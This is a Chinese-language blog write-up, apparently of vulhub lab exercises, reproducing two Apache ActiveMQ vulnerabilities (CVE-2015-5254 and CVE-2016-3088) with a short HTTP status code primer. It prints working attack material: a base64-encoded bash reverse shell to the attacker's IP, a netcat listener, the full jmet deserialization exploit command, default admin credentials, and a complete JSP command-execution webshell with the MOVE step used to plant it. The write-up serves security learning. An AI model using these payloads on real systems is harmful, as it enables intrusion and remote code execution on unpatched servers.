activemq系列漏洞复现
前言
刚好最近在复习vulhub中的部分靶场,分享一下复现的流程。自己也是小萌新,希望大佬们多多指点哈,有好的思路或者补充快快在评论区留言,我直接悄悄蹲在评论区卷了!!!
攻击设备kali:192.168.2.174
靶场地址:192.168.2.164
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行
一、CVE-2015-5254
漏洞介绍
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响版本
ActiveMQ < 5.13.0 之前 5.x 版本
渗透测试
1.访问目标页面:http://192.168.2.164:8161/
2. 登录进去;admin/admin
3.构造反弹shell
先进入这个页面等待:http://192.168.2.164:8161/admin/browse.jsp?JMSDestination=event
反弹shell:/bin/bash -i >& /dev/tcp/192.168.2.174/6666 0>&1
【这里的IP和端口号对应攻击的kali端信息】
需要将反弹 shell 代码反序列化:
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xNzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
同时在kali端打开监听的端口号:6666
nc -lvvp 6666
4. 下载漏洞利用工具 jmet-0.1.0-all.jar,并进行利用
命令:
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
下载完成之后利用该工具进行反弹shell的上传:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi4xNzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.2.164 61616
执行完命令之后,我们返回页面可以看到这里成功上传了东西,点击一下后反弹shell就会被执行。结果如下:
注:
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/hacker_test" -Yp ROME 192.168.2.164 61616
可以自行添加执行命令,不仅局限于反弹shell!
知识点补充:
【1】HTTP状态码:(来源于dirsearch查询目录时返回的状态码)
1xx: 代表请求已被接受,需要继续处理。
2xx: 代表请求已成功被服务器接收、理解、并接受。
● 200: 表示请求已成功,请求所希望的响应头或数据体将随此响应返回 。
● 201: 表示请求成功并且服务器创建了新的资源,且其 URI 已经随Location 头信息返回。
3xx: 这些状态码用来重定向
● 301: 被请求的资源已永久移动到新位置。服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
● 302: 请求的资源临时从不同的URI响应请求,但请求者应继续使用原有位置来进行以后的请求
4xx: 表示请求错误。代表了客户端看起来可能发生了错误,妨碍了服务器的处理。
● 401状态码:请求要求身份验证。 对于需要登录的网页,服务器可能返回此响应。
● 403状态码:服务器已经理解请求,但是拒绝执行它。与401响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。
● 404状态码:请求失败,请求所希望得到的资源未被在服务器上发现。
5xx: 代表了服务器在处理请求的过程中有错误或者异常状态发生,也有可能是服务器意识到以当前的软硬件资源无法完成对请求的处理。
● 500状态码:服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。
● 503状态码:由于临时的服务器维护或者过载,服务器当前无法处理请求。
二、CVE-2016-3088
漏洞介绍
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞
影响版本
Apache ActiveMQ 5.x~5.14.0
渗透测试
1.访问目标页面:http://192.168.2.164:8161/
2.登陆页面后查看版本信息:http://192.168.2.164:8161/admin/
3.该版本存在此漏洞,下面查看ActiveMQ的绝对路径
http://192.168.2.164:8161/admin/test/systemProperties.jsp
activemq.home /opt/activemq
4.上传webshell
webshell构造:
<%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp
)中
Destination:file:///opt/activemq/webapps/api/5.jsp
响应状态码一开始为204,第二次就变成500了很难受啊(因为已经被移走啦)。下面去页面验证一下是否都被上传了。http://192.168.2.164:8161/api/
可以看到,上传成功了。
5. 利用webshell进行RCE操作
http://192.168.2.164:8161/api/1.jsp?cmd=ls
总结
以上就是关于activemq的复现了,图片不好插入,二次截图了自己在语雀上的笔记图片有点模糊。
挖洞的时候也有挖到不少activemq的,但是基本都是弱口令,像上面这俩漏洞,就碰到过一个,纯属运气咯~
好啦,今天就到这里咯,欢迎大家补充分享哈,有好的文章,好的思路请务必与我分享,栓Q咯!